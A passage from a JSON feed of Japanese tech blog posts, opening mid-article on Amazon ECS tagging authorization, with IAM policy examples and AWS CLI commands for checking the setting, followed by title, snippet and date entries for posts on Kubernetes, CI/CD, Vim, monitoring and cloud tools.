アカウントは一時的に許可リストに載せているため、2024 年 3 月 29 日まではタグリソース認証の off の動作が継続されます。2024 年 3 月 8 日、現在オプトインしているアカウントが tagResourceAuthorization をオプトアウトする機能を削除し、タグをサポートするすべての ECS リソースの作成に際して ecs:TagResource IAM 権限の使用を強制するようにしました。最終的に 2024 年 3 月 29 日をもってお客様のアカウントを許可リストから削除し、tagResourceAuthorization を有効化します。呼び出し元のプリンシパルの IAM ポリシーに ecs:TagResource アクションを含めずにタグをつけて ECS リソースを作成しようとすると、「AccessDenied」メッセージが表示されます。この変更は CreateCapacityProvider, CreateCluster, CreateService, CreateTaskSet, RegisterContainerInstance, RunTask, StartTask, および RegisterTaskDefinition の API に影響を及ぼします。ecs:TagResource を使用しない拒否レスポンスの例以下は、ecs:CreateCluster アクションを付与している IAM ポリシーの一部です。ecs:TagResource アクションは含まれていません。tagResourceAuthorization アカウント設定がオンの場合、リクエスト例では以下の AccessDenied 例外が返されます。# IAM ポリシー“Statement”: [{“Sid”: “AllowCreateCluster”,“Effect”: “Allow”,“Action”: [“ecs:CreateCluster”],“Resource”: “*”}]# クラスター作成のリクエストaws ecs create-cluster --cluster-name MyCluster --tags key=key1,value=value1# タグ付けの拒否されたレスポンスAn error occurred (AccessDeniedException) when calling the CreateCluster operation:User: is not authorized to perform: ecs:TagResource on resource: cluster/MyCluster because no identity-based policy allows the ecs:TagResource action必要なアクション:IAM プリンシパルが 2024 年 3 月 29 日以降も新しく作成された ECS リソースに引き続きタグを適用できるように、IAM ポリシーに次のステートメントを追加することを強くお勧めします。すべての ECS リソースの作成時にタグ付けを許可以下の説明に従って ecs:TagResource アクションを追加すると、ECS リソースの作成中にタグ付けが可能になります [2]。“Statement”: [{“Sid”: “AllowTagging”,“Effect”: “Allow”,“Action”: [“ecs:TagResource”],“Resource”: “*”}]単一の ECS リソースタイプ (ECS クラスタ) の作成時にタグ付けを許可条件ステートメント ecs:CreateAction を使用すると、タグ付けを特定の ECS API に制限できます。以下の例では、ECS CreateCluster API でのみタグ付けへのアクセスを許可します。タグ付きの ECS RunTask API へのリクエストは、拒否判定になります [2]。“Statement”: [{“Sid”: “AllowClusterTagging”,“Effect”: “Allow”,“Action”: [“ecs:TagResource”],“Resource”: “*”,“Condition”: {“StringEquals”: {“ecs:CreateAction” : “CreateCluster”}}}]タイムライン:2024 年 2 月 9 日(完了)- タグ付け認証はデフォルトで on になっています。これには、ホワイトリストに登録されているアカウントは含まれません。tagResourceAuthorization アカウント設定の on/off を切り替えることも可能であり、ポリシーへの準拠をテストいただけます。2024 年 3 月 8 日 - タグ付け認証を on にすると、off にすることはできなくなります。この日まではアカウント設定を切り替えることができますので、その間に IAM ポリシーをテストすることをお勧めします。2024 年 3 月 29 日 - すべての AWS アカウントでタグ付け認証が有効になります。アカウントレベルの設定は使用されなくなり、AWS コンソールの ECS アカウント設定ページから削除されます。ご質問やご不明点等ございましたら、AWS サポート [3] までお問い合わせください。[1] https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs-account-settings.html#tag-resources-setting[2] https://docs.aws.amazon.com/AmazonECS/latest/developerguide/supported-iam-actions-tagging.html[3] https://aws.amazon.com/support---We are contacting you because we identified that your account has tagged ECS resources upon creation, within the past year, without the ecs:TagResource permission. Amazon ECS introduced tagging authorization for resource creation on April 18, 2023 [1]. New and existing customers must opt-in to use this new feature by using the ECS Account Settings page in the ECS Console or API. This security control allows users to deny or allow tagging ECS resources when they are created. We strongly recommend you update your IAM policies to explicitly allow the ecs:TagResource action so that your IAM principals continue applying tags to newly created ECS resources on or after March 29, 2024.From February 9, 2024, all customer accounts which have not explicitly set the tagResourceAuthorization account setting to “off” in the ECS Account Settings page in the AWS Console were automatically opted into the setting. We have temporarily allow-listed your AWS account so you will continue to have the “off” behavior for tagResourceAuthorization until March 29, 2024.On March 8, 2024, we removed the ability for currently opted-in accounts to opt-out of tagging authorization and enforced the creation of all ECS resources that support tags to use the ecs:TagResource IAM permission.Finally on March 29, 2024, we will remove your account from the allow-list and activate tagResourceAuthorization. You will experience an \\"AccessDenied\\" message if you attempt to create tagged ECS resources without including the ecs:TagResource action in the IAM policy of the calling principal. This change will affect the following APIs: CreateCapacityProvider, CreateCluster, CreateService, CreateTaskSet, RegisterContainerInstance, RunTask, StartTask, and RegisterTaskDefinition.Example Deny Response without ecs:TagResourceThe following is part of an IAM policy that is granting the ecs:CreateCluster Action. It does not include the ecs:TagResource Action. When tagResourceAuthorization Account setting is on, the example request would return the AccessDeniedException below.# IAM Policy“Statement”: [{“Sid”: “AllowCreateCluster”,“Effect”: “Allow”,“Action”: [“ecs:CreateCluster”],“Resource”: “*”}]# Create Cluster Requestaws ecs create-cluster --cluster-name MyCluster --tags key=key1,value=value1# Tagging Denied ResponseAn error occurred (AccessDeniedException) when calling the CreateCluster operation:User: is not authorized to perform: ecs:TagResource on resource: cluster/MyCluster because no identity-based policy allows the ecs:TagResource actionRequired Action:To ensure your IAM principals continue applying tags to newly created ECS resources on or after March 29, 2024, we strongly recommend adding the following statement(s) to your IAM policies:Allow Tagging during creation for all ECS ResourcesAdding the ecs:TagResource Action as described below would Allow tagging during ECS resource creation [2].“Statement”: [{“Sid”: “AllowTagging”,“Effect”: “Allow”,“Action”: [“ecs:TagResource”],“Resource”: “*”}]Allow Tagging during creation for single ECS Resource Type (ECS Cluster)Using the Conditional statement ecs:CreateAction allow you to limit the tagging to a specific ECS API. The example below grants access to tagging only on the ECS create-cluster API. A request to the ECS API run-task with tags would result in a Deny decision [2].“Statement”: [{“Sid”: “AllowClusterTagging”,“Effect”: “Allow”,“Action”: [“ecs:TagResource”],“Resource”: “*”,“Condition”: {“StringEquals”: {“ecs:CreateAction” : “CreateCluster”}}}]Timeline:February 9, 2024 (Completed) - Tagging Authorization is “on” by default. This excludes your account which is allowlisted. The tagResourceAuthorization account setting can be turned on/off to help test your policy compliance.March 8, 2024 - Tagging Authorization can no longer be turned “off” once it is turned “on”. It is recommended that you test your IAM policies before this date while you are able to toggle the account setting.March 29, 2024 - Tagging Authorization will be turned on for all AWS accounts. The account level setting will no longer be used and will be removed from the ECS Account Settings page in the AWS Console.If you have any questions, please contact AWS Support [3].[1] https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs-account-settings.html#tag-resources-setting[2] https://docs.aws.amazon.com/AmazonECS/latest/developerguide/supported-iam-actions-tagging.html[3] https://aws.amazon.com/support通知が来ているアカウントは29日までに対応する必要があります。確認aws ecs list-account-settings --effective-settings --name tagResourceAuthorization を実行すると以下のような表示になると思います。ここがonであれば、すでにアカウント単位で有効になってるので影響がありません。(ただし、タグ付きのリソースを新規作成する際には権限が足りないとエラーになる可能性はあります)ここがoffになっている場合、タグ付け認可が無効になってるので3月29日以降影響を受ける可能性があります。% aws ecs list-account-settings --effective-settings --name tagResourceAuthorization{ \\"settings\\": [ { \\"name\\": \\"tagResourceAuthorization\\", \\"value\\": \\"on\\", \\"principalArn\\": \\"arn:aws:iam::xxxxxxxxxxxx:root\\" } ]}影響がある例ユースケースにもよりますが、タグ付け認可に関連する操作は以下のようなものが考えられるかと思いますインフラ担当者によるECSリソース構築開発担当者(またはCI/CD)によるECSサービスのデプロイ前者に関しては、PowerUser相当の強い権限を付与されていることが多くここが問題になることはほとんどど無いかとは思います。後者の特にCI/CDによるデプロイに問題となることがありえます。一般的に非人間ユーザで目的が明確であれば、最小権限の原則に則り、 ecs:TagResource が付与されていない可能性があります。トライアンドエラーで権限を付与した場合、過去にうまく動いたためそのままの権限で使い続けている可能性もあります。その場合影響がある可能性あります。デプロイ時のタスク定義登録の際、タスク定義内に従来なかったtagsの記述を新規追加した際にResgisterTaskDefinitionでエラーになるという事例を私は経験しました。タスク定義にtagsがないときはタグ付け認可は実行されないのでそのまま成功していたため、ecs:TagResource が必要なことに気づいていませんでした。エラーとしては以下のような記述になるので、タグ付け認可の機能の存在を知っていて冷静に読み解けば、ecs:TagResource が足りていないことに気づけると思います。An error occurred (AccessDeniedException) when calling the RegisterTaskDefinition operation: User: arn:aws:sts::xxxx:assumed-role/deploy-github-actions/GitHubActions is not authorized to perform: ecs:TagResource on resource: arn:aws:ecs:ap-northeast-1:xxxx:task-definition/ecs-service because no identity-based policy allows the ecs:TagResource action対応まずECSサービスを利用しているIAM RoleとIAM Policyを洗い出します。その上でそれらが以下のアクションを許可している場合、ecs:TagResource を追加してあげます。CreateCapacityProviderCreateClusterCreateServiceCreateTaskSetRegisterContainerInstanceRegisterTaskDefinitionRunTaskStartTask私の場合は、ECSサービスデプロイ用のポリシーに以下のStatementを追加しました。それぞれ適切な記述を足していただけたらと思います。この場合タスク定義を登録する際にタグ付け認可を通すような許可を追加しています。 { \\"Action\\": \\"ecs:TagResource\\", \\"Condition\\": { \\"StringEquals\\": { \\"ecs:CreateAction\\": \\"RegisterTaskDefinition\\" } }, \\"Effect\\": \\"Allow\\", \\"Resource\\": \\"arn:aws:ecs:ap-northeast-1:xxxxxx:task-definition/yyyyyyyyyyyyyyy:*\\", \\"Sid\\": \\"RegisterTaskDefinitionWithTag\\" },まとめタグ付け認可について説明しました。タグ付け認可は2024年3月29日に強制的に全アカウントで有効になります。時間が少ないですが、影響受ける可能性があるかどうかチェックしてハマらないようにしましょう。また、これまでタグ付けしてなかったリソースにタグ付けする際にタグ付け認可に引っかかる可能性があります。デプロイやリソース作成の際にnot authorized to perform: ecs:TagResource と言われたらこの記事を思い出していただけたらと思います。それでは良いECSライフを!関連リソースアカウント設定による Amazon ECS 機能へのアクセス - Amazon Elastic Container Service タグ付け認可リソース作成時にタグ付けするための許可を付与する - Amazon Elastic Container Service","isoDate":"2024-03-20T03:11:51.000Z","dateMiliSeconds":1710904311000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"Skaffoldのスゴさを語る!","link":"https://zenn.dev/kojake_300/articles/11945f2047b22b","contentSnippet":"この記事は、2024/3/15に登壇したJagu\'e\'r クラウドネイティブ分科会 俺の考える最強のCI/CDのリマスターになります。 k8sアプリケーション開発の悩み突然ですが皆さん、k8sでアプリを動かす時にこんな悩み、イライラはありませんか?k8sで検証する時には必ず通る道だと思います。効率よく検証するにはどうしたものか、、Skaffoldはそんな悩みを解決してくれます\uD83D\uDE04 Skaffoldとは? 概要Skaffold[1]は、コンテナベース及びKubernetesアプリケーションの継続的開発(Continuous Development = CD)を容易...","isoDate":"2024-03-18T11:24:43.000Z","dateMiliSeconds":1710761083000,"authorName":"Yuki Iwasaki","authorId":"kojake_300"},{"title":"Skaffoldを用いたGKEアプリケーションの CD(Continuous Development)","link":"https://speakerdeck.com/kojake_300/skaffoldwoyong-itagkeapurikesiyonno-cd-continuous-development","contentSnippet":"","isoDate":"2024-03-17T04:00:00.000Z","dateMiliSeconds":1710648000000,"authorName":"Yuki Iwasaki","authorId":"kojake_300"},{"title":"gin.vimで捗るgitのログ改竄 (instant fixup)","link":"https://blog.atusy.net/2024/03/15/instant-fixup-with-gin-vim/","contentSnippet":"Vim 駅伝の2024/3/15の記事です。Gitで整然とコミットを詰むのはそうそうたやすいものではありません。あのコミットでバグを仕込んでしまった、コミットメッセージを間違えていた、そんなミスはよくあることです。かと言って、整然とコミットするためにコミットを後回しにしては本末転倒です。うかつな操作で作業内容を失うかもしれませんし、少し前の作業内容に戻りたくなるかもしれません。また差分が大きくなるほど適切な粒度でのコミットが億劫になります。","isoDate":"2024-03-15T00:00:00.000Z","dateMiliSeconds":1710460800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Tagpr で tag trigger の workflow が実行されなくてハマった話","link":"https://blog.1q77.com/2024/03/tagpr/","contentSnippet":"最近 tagpr という便利ツールの存在を知って試していたのですが、使い方が悪くてハマったのでメモ。 tagpr とは 作者さまの記事を参照ください。 リリース用のpu","isoDate":"2024-03-15T00:00:00.000Z","dateMiliSeconds":1710460800000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Helm chart を GitHub Container Registry に host する","link":"https://blog.1q77.com/2024/03/helm-push-to-ghcr/","contentSnippet":"背景 最近は書いたアプリを Kubernetes に deploy することも多い。 その際に helm で簡単に deploy できるようになっていると便利ということで Helm chart を Git に入れておいても良いのだけ","isoDate":"2024-03-14T15:13:39.000Z","dateMiliSeconds":1710429219000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"書を捨てよ、現場へ出よう","link":"https://speakerdeck.com/nwiizo/shu-woshe-teyo-xian-chang-hechu-you","contentSnippet":"書を捨てよ、現場へ出よう このSRE本がすごい!2024年 LT版というタイトルで登壇してきました。\\r\\rSREたちの廊下〜あなたの現場での悩み、あの本にヒントがあるかも〜\\rhttps://findy.connpass.com/event/311323/\\r\\r元ブログはこちら\\r\\rこのSRE本がすごい!2024年版\\rhttps://syu-m-5151.hatenablog.com/entry/2024/01/26/165255\\r\\r登壇ブログはこちら\\r\\r『読書とは、能力、知識ではなく 問いを獲得するための行為』みたいな内容で登壇しました。\\rhttps://syu-m-5151.hatenablog.com/entry/2024/03/13/164951","isoDate":"2024-03-12T04:00:00.000Z","dateMiliSeconds":1710216000000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"gyでVimからクリップボードにヤンクする","link":"https://blog.atusy.net/2024/03/11/vim-gy-as-gui-yank/","contentSnippet":"Vim 駅伝の2024/3/11の記事です。Vim/Neovimで文字列をクリップボードへヤンクする主な方法は大きく二通りあります。都度指定\\"*yや\\"+yといった具合にヤンクする時にクリップボードを使うよう、明示的にレジスタを指定する自動同期set clipboard+=unnamedplus(またはunnamed)しておき、レジスタを指定せずにヤンクした内容を自動的にクリップボードに同期する詳しくは以下の記事をご参照ください。","isoDate":"2024-03-11T00:00:00.000Z","dateMiliSeconds":1710115200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"生成AI入門","link":"https://speakerdeck.com/shukob/sheng-cheng-airu-men","contentSnippet":"今話題の生成AIについて簡単に技術概要をお話ししたのち、LangChain、プロンプトエンジニアリング、RAG(Retrieval Augmented Generation)、Embedding、グラウンディングなどを実装の手法などを紹介しました。","isoDate":"2024-03-02T05:00:00.000Z","dateMiliSeconds":1709355600000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"ftExtra v0.6.2をリリースしました","link":"https://blog.atusy.net/2024/03/01/ftextra-v0-6-2/","contentSnippet":"ftExtra v0.6.2をリリースしました。flextableパッケージを使って表組みする時に、セル内のマークダウンを処理できる ftExtra::colformat_md() がウリです。data.frame( x = c(\\"**bold**\\", \\"*italic*\\"), y = c(\\"^superscript^\\", \\"~subscript~\\"), z = c(\\"***~ft~^Extra^** is*\\", \\"*Cool*\\"), stringsAsFactors = FALSE) |> flextable::flextable() |> ftExtra::colformat_md().cl-9f195392{}.cl-9f13596a{font-family:\'DejaVu Sans\';font-size:11pt;font-weight:normal;font-style:normal;text-decoration:none;color:rgba(0, 0, 0, 1.00);background-color:transparent;}.cl-9f135974{font-family:\'DejaVu Sans\';font-size:11pt;font-weight:bold;font-style:normal;text-decoration:none;color:rgba(0, 0, 0, 1.00);background-color:transparent;}.cl-9f13597e{font-family:\'DejaVu Sans\';font-size:6.6pt;font-weight:normal;font-style:normal;text-decoration:none;color:rgba(0, 0, 0, 1.00);background-color:transparent;position: relative;bottom:3.3pt;}.cl-9f13597f{font-family:\'DejaVu Sans\';font-size:6.6pt;font-weight:bold;font-style:italic;text-decoration:none;color:rgba(0, 0, 0, 1.00);background-color:transparent;position: relative;top:3.3pt;}.cl-9f135988{font-family:\'DejaVu Sans\';font-size:6.6pt;font-weight:bold;font-style:italic;text-decoration:none;color:rgba(0, 0, 0, 1.00);background-color:transparent;position: relative;bottom:3.3pt;}.cl-9f135989{font-family:\'DejaVu Sans\';font-size:11pt;font-weight:normal;font-style:italic;text-decoration:none;color:rgba(0, 0, 0, 1.00);background-color:transparent;}.cl-9f135992{font-family:\'DejaVu Sans\';font-size:6.6pt;font-weight:normal;font-style:normal;text-decoration:none;color:rgba(0, 0, 0, 1.00);background-color:transparent;position: relative;top:3.3pt;}.cl-9f168324{margin:0;text-align:left;border-bottom: 0 solid rgba(0, 0, 0, 1.00);border-top: 0 solid rgba(0, 0, 0, 1.00);border-left: 0 solid rgba(0, 0, 0, 1.00);border-right: 0 solid rgba(0, 0, 0, 1.00);padding-bottom:5pt;padding-top:5pt;padding-left:5pt;padding-right:5pt;line-height: 1;background-color:transparent;}.cl-9f1690b2{width:0.75in;background-color:transparent;vertical-align: middle;border-bottom: 1.5pt solid rgba(102, 102, 102, 1.00);border-top: 1.5pt solid rgba(102, 102, 102, 1.00);border-left: 0 solid rgba(0, 0, 0, 1.00);border-right: 0 solid rgba(0, 0, 0, 1.00);margin-bottom:0;margin-top:0;margin-left:0;margin-right:0;}.cl-9f1690bc{width:0.75in;background-color:transparent;vertical-align: middle;border-bottom: 0 solid rgba(0, 0, 0, 1.00);border-top: 0 solid rgba(0, 0, 0, 1.00);border-left: 0 solid rgba(0, 0, 0, 1.00);border-right: 0 solid rgba(0, 0, 0, 1.00);margin-bottom:0;margin-top:0;margin-left:0;margin-right:0;}.cl-9f1690bd{width:0.75in;background-color:transparent;vertical-align: middle;border-bottom: 1.5pt solid rgba(102, 102, 102, 1.00);border-top: 0 solid rgba(0, 0, 0, 1.00);border-left: 0 solid rgba(0, 0, 0, 1.00);border-right: 0 solid rgba(0, 0, 0, 1.00);margin-bottom:0;margin-top:0;margin-left:0;margin-right:0;}x","isoDate":"2024-03-01T00:00:00.000Z","dateMiliSeconds":1709251200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Google Cloud Managed Service for Prometheusでprismaメトリクスを可視化してみた","link":"https://speakerdeck.com/kojake_300/google-cloud-managed-service-for-prometheusteprismametorikusuwoke-shi-hua-sitemita","contentSnippet":"","isoDate":"2024-02-29T05:00:00.000Z","dateMiliSeconds":1709182800000,"authorName":"Yuki Iwasaki","authorId":"kojake_300"},{"title":"Reckoner の Scala プロジェクトにおける オブザーバビリティの取り組み / Observability Initiatives in Reckoner\'s Scala Project","link":"https://speakerdeck.com/nomadblacky/reckoner-no-scala-puroziekutoniokeru-obuzababiriteinoqu-rizu-mi","contentSnippet":"2024/02/27 Scalaわいわい勉強会 #2\\rhttps://scala-tokyo.connpass.com/event/307069/","isoDate":"2024-02-27T05:00:00.000Z","dateMiliSeconds":1709010000000,"authorName":"Takumi Kadowaki","authorId":"nomadblacky"},{"title":"Azure Container Apps Jobs を Self-hosted GitHub Actions Runner として使う","link":"https://blog.1q77.com/2024/02/container-apps-jobs-self-hosted-github-actions-runner/","contentSnippet":"GitHub Actions の Self-hosted Runner を安く用意する方法を探していたところ、 Azure の Container Apps Jobs というのが便利に使えるらしいというのを見つけたので試してみる。 チュートリアル:Az","isoDate":"2024-02-23T10:05:41.000Z","dateMiliSeconds":1708682741000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Terraform workspace使って思ったこと","link":"https://sreake.com/blog/terraform-workspace/","contentSnippet":"背景 そこまで大きな案件でもなく、 環境間の差分もあまりなさそうだったため 何より使ったことないから試してみようっていう好奇心 ある案件にて上記の理由から、Terraform workspaceを採用しました。 今回は、 […]The post Terraform workspace使って思ったこと first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-02-18T14:28:59.000Z","dateMiliSeconds":1708266539000,"authorName":"Sreake","authorId":"Sreake"},{"title":"アーキテクチャから学ぶKubernetesの全体像","link":"https://speakerdeck.com/bells17/akitekutiyakaraxue-hukubernetesnoquan-ti-xiang","contentSnippet":"Developers Summit(デブサミ)2024で登壇したセッションの資料です。\\r\\r- https://event.shoeisha.jp/devsumi/20240215\\r- https://event.shoeisha.jp/devsumi/20240215/session/4777\\r\\rセッション解説記事:\\rhttps://codezine.jp/article/detail/19131","isoDate":"2024-02-15T05:00:00.000Z","dateMiliSeconds":1707973200000,"authorName":"bells17","authorId":"bells17"},{"title":"個人開発でWebアプリの開発とデプロイの流れ","link":"https://kechigon.hatenablog.com/entry/2024/02/13/125853","contentSnippet":"個人でWebサービスを開発したいけど、どのような流れで作っていけばいいのかわからない方向けです。個人開発でWebアプリを開発、デプロイをしたのでその流れを共有したいと思います。作ったもの麻雀戦績管理アプリ名付けて「PungPals」。雀荘などのオフラインでの対戦結果を残し、個人成績やランキングを確認できます。pungpals-service-xstpolfd4q-an.a.run.app開発とデプロイの流れ1.要件定義、設計実装がスムーズに進むために、しっかりとしておきましょう。以前記事を書いたので、参考にしてください。kechigon.hatenablog.com2.技術選定今回作ったアプリケーションはDjangoで開発し、Cloud Runにデプロイしています。選定理由は、Django: 経験があるから。Cloud Run: Djangoアプリのデプロイ方法の公式ドキュメントがあった(後ほど説明します)、マネージドな部分とカスタムできる部分のバランスがちょうどよかったから。でした。以下これらの技術を使って、開発デプロイまでの流れを説明していきます。3.Djangoを使ってアプリケーションを作成Djangoにはチュートリアルがあり、はじめての Django アプリ作成、その 1 | Django ドキュメント | Djangoはじめての Django アプリ作成、その2 | Django ドキュメント | Djangoはじめての Django アプリ作成、その 3 | Django ドキュメント | Djangoはじめての Django アプリ作成、その 4 | Django ドキュメント | Djangoを読めば開発方法がわかると思います。環境構築をし、実装し、ローカルで動作確認をしながら開発していきます。4.Cloud run へのデプロイDjangoアプリのCloud runへのデプロイ方法は公式ドキュメントにまとめられているので、これを見ながら進めます。cloud.google.comDjangoアプリケーションを環境に合わせて設定した後コンテナ化し、Cloud Runに載せます。それに伴い、Cloud SQL(データベース)、Secret Manager(シークレット管理)、Cloud Storage(静的アセットの保存など)、Cloud Build(CI/CD)、Artifact Registry(コンテナレジストリ)の作成、設定も行います。ドキュメントではGCRを使っていますが、現在非推奨なので、Artifact Registryをコンテナレジストリとして使用します。cloud.google.comオプションですが、GCPへのリソースの作成はTerraformを利用すると、構成管理ができ便利です。作成するインフラの図以上のことを行った後のGitHubリポジトリPungPalsのコードは公開しているので、参考にしていただければと思います。github.comこれから今後は、運用面の課題解決や集客などを行っていく予定なので、ブログにしていくつもりです!","isoDate":"2024-02-13T03:58:53.000Z","dateMiliSeconds":1707796733000,"authorName":"Kurita Keigo","authorId":"kurita"},{"title":"フロントエンドで収集するべきテレメトリは何か","link":"https://zenn.dev/kimitsu/articles/frontend-and-telemetry","contentSnippet":"先日『フロントエンド監視の全体像と実現方法』という記事を投稿しましたが、その中でテレメトリについては触れませんでした(※本記事は上記記事の内容を知らなくても読み進められるようになっています)。というのは、テレメトリは可観測性を実現するための重要な概念ではあるものの、テレメトリを軸に監視を考えるのは手段の目的化になってしまうと考えているからです。重要なのはサービスにとって何を観測するべきかを考えることであり、テレメトリはそれを設計や実装に落とし込む際に現れるものです。一方で監視に対する理解を深める上では、テレメトリを軸に考えることも重要でしょう。そこで本記事ではフロントエンド監視に...","isoDate":"2024-02-11T01:40:25.000Z","dateMiliSeconds":1707615625000,"authorName":"Yunosuke Yamada","authorId":"yyamada"},{"title":"フロントエンド監視の全体像と実現方法","link":"https://zenn.dev/kimitsu/articles/frontend-monitoring","contentSnippet":"必要性フロントエンドの監視はバックエンドやインフラのそれらと比べ、優先度が低くなりがちです。バックエンドやインフラでの障害はサービス継続に直結するため、これは当然と言えば当然なのですが、別の理由もあると考えています。それは計算リソースをサービス提供側が管理していないことです。例えばアプリケーションがインフラとして AWS を利用しているなら、AWS のリソースを管理するのはサービス提供側です。これは AWS 以外のクラウドサービスプロバイダやオンプレであっても同様です。一方でフロントエンドはエンドユーザのブラウザ上で動作し、これを管理しているのはエンドユーザです。フロン...","isoDate":"2024-02-09T09:46:56.000Z","dateMiliSeconds":1707472016000,"authorName":"Yunosuke Yamada","authorId":"yyamada"},{"title":"OWASP Top 10 for Large Language Model Applications をまとめる","link":"https://sreake.com/blog/owasp-top-10-for-llm-application/","contentSnippet":"はじめに Sreake 事業部インターン生の中林です。私は、Sreake 事業部長期インターン生として SRE 技術の技術検証を行っています。 今回は、Sreake 事業部で作成している LLM アプリケーションに対する […]The post OWASP Top 10 for Large Language Model Applications をまとめる first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-02-05T09:29:32.000Z","dateMiliSeconds":1707125372000,"authorName":"Sreake","authorId":"Sreake"},{"title":"YugabyteDB ManagedのAlways Free枠を試そう","link":"https://zenn.dev/nnaka2992/articles/play_with_yugabytedb_managed_sandbox","contentSnippet":"YugabyteDB Managedにフリートライアルがあるのは知っていたのですが、期間が限られたものしか無いと思っていました。YugabyteDBについて調べごとをしていたら機能制限はあるもののSandboxクラスターというクレジットカード登録すら不要でAlways Freeな利用枠があることを知りました。いままでローカルでYugabyteDBを建てたりminikube上で遊んでいたのですが、簡単な検証であればSandboxクラスターで十分です。この記事ではそんなYugabyteDB ManagedのSandboxクラスターを紹介します。 Sandbox Clusterの制限...","isoDate":"2024-02-04T15:02:28.000Z","dateMiliSeconds":1707058948000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"renovate で CircleCI の terraform_version を更新する","link":"https://blog.1q77.com/2024/02/update-terraform-version-in-circleci-with-renovate/","contentSnippet":"Circle CI の terraform Orb で terraform の version を指定するには次のようにしますが、この terraform_version の値に変数を 使うことが出来ず、tf ファイルや .tool-versions から読み出した値を使うことが出来ませ","isoDate":"2024-02-04T10:37:36.000Z","dateMiliSeconds":1707043056000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Controllerを作ってみよう~ Kubernetes Controllerハンズオン ~","link":"https://speakerdeck.com/bells17/controllerwozuo-tutemiyou-kubernetes-controllerhansuon","contentSnippet":"イベントURL: https://k8s-novice-jp.connpass.com/event/300442/\\r参考リポジトリ: https://github.com/bells17/k8s-controller-example\\r\\rその他リンク:\\r\\rhttps://github.com/kubernetes/sample-controller\\rhttps://github.com/kubernetes/kubernetes/blob/v1.29.1/pkg/controller/clusterroleaggregation/clusterroleaggregation_controller.go\\rhttps://github.com/kubernetes/client-go/tree/v12.0.0\\rhttps://github.com/kubernetes/client-go/blob/v12.0.0/tools/cache/reflector.go\\rhttps://github.com/kubernetes/client-go/tree/v12.0.0/informers\\rhttps://github.com/kubernetes/client-go/blob/v12.0.0/tools/cache/store.go\\rhttps://github.com/kubernetes/client-go/blob/v12.0.0/tools/cache/delta_fifo.go\\rhttps://github.com/kubernetes/client-go/blob/v12.0.0/util/workqueue/rate_limiting_queue.go","isoDate":"2024-01-30T05:00:00.000Z","dateMiliSeconds":1706590800000,"authorName":"bells17","authorId":"bells17"},{"title":"Mac に Homebrew で docker pluings をインストールする","link":"https://blog.1q77.com/2024/01/install-docker-plugins-on-mac/","contentSnippet":"Docker Desktop for Mac であれば何もしなくても docker compose コマンドは使えるようになっているのですが、Lima で docker を使っている場合などで Homebrew で docker をインストールしていると","isoDate":"2024-01-26T12:36:56.000Z","dateMiliSeconds":1706272616000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Google Cloudコスト増減の定期監視とアドバイスを行うCostChecker-Agentの紹介","link":"https://sreake.com/blog/google-cloud-cost-checker-agent/","contentSnippet":"1. はじめに はじめまして、Sreake事業部インターン生の井上です。私はSreake事業部にてSRE技術の調査と研究を行う目的で2023年3月6日から長期インターン生として参加しています。 この記事では、” […]The post Google Cloudコスト増減の定期監視とアドバイスを行うCostChecker-Agentの紹介 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-01-25T02:17:39.000Z","dateMiliSeconds":1706149059000,"authorName":"Sreake","authorId":"Sreake"},{"title":"限定公開のGKE上でセキュアなGithub Actionsのrunnerを構築","link":"https://zenn.dev/kojake_300/articles/7be501d3fc4e72","contentSnippet":"モチベーションGithub Actionsのセルフホストランナーでは、long pollingによりrunner側でingressのfirewallを設定せずにrunnerをデプロイ出来るというのを最近知ったので、GKEで検証していこうと思います。 構成ざっくりですがこんな感じ。GKEは限定公開のクラスタとして構築し、踏み台サーバからGKEにリクエストを送ります。Github Actionsとの通信のためにVPCにはCloud NATをアタッチします。 前提条件terraformで構築するため、予めインストールしておくこと。(検証はv1.0.0) 構築手順...","isoDate":"2024-01-24T11:08:37.000Z","dateMiliSeconds":1706094517000,"authorName":"Yuki Iwasaki","authorId":"kojake_300"},{"title":"K8sGPT: Prometheus Analyzers","link":"https://zenn.dev/tozastation/articles/71015cc5b95b4e","contentSnippet":"v0.3.26 からPrometheus の Analyzer がリリースされましたデモ映像はこちらhttps://github.com/k8sgpt-ai/k8sgpt/pull/855本PR作成者の Daniel Clark さんは Google の方 (2024/01/18時点)で,prometheus-engine (Cloud Managed Service for Prometheus (GMP)) に多くのコントリビューションをされています. 先にまとめPrometheus Analyzer には現在二つの機能が含まれるConfig Analyzer ...","isoDate":"2024-01-23T03:00:00.000Z","dateMiliSeconds":1705978800000,"authorName":"tozastation","authorId":"tozastation"},{"title":"openssl s_client で SMTP 認証","link":"https://blog.1q77.com/2024/01/smtp-auth-plain-with-openssl-command/","contentSnippet":"Amazon SES で SMTP を使ってメール送信したい場合、IAM User の credentials をちょいと加工してやる必要があります。 Amazon SES SMTP 認証情報を取得 これで、変換した値が正しいことを","isoDate":"2024-01-23T02:44:23.000Z","dateMiliSeconds":1705977863000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"PR-Agentとその類似システムの解説","link":"https://sreake.com/blog/pr-agent-and-similar-systems/","contentSnippet":"はじめに Sreake事業部でインターンをしている村山です。そのようなコードレビューの作業に対し、今日ではLLMを使用したレビュー用のツールが開発されています。今回はそのレビューツールの一つであるPR-Agentを中心に […]The post PR-Agentとその類似システムの解説 first appeared on sreake.com | 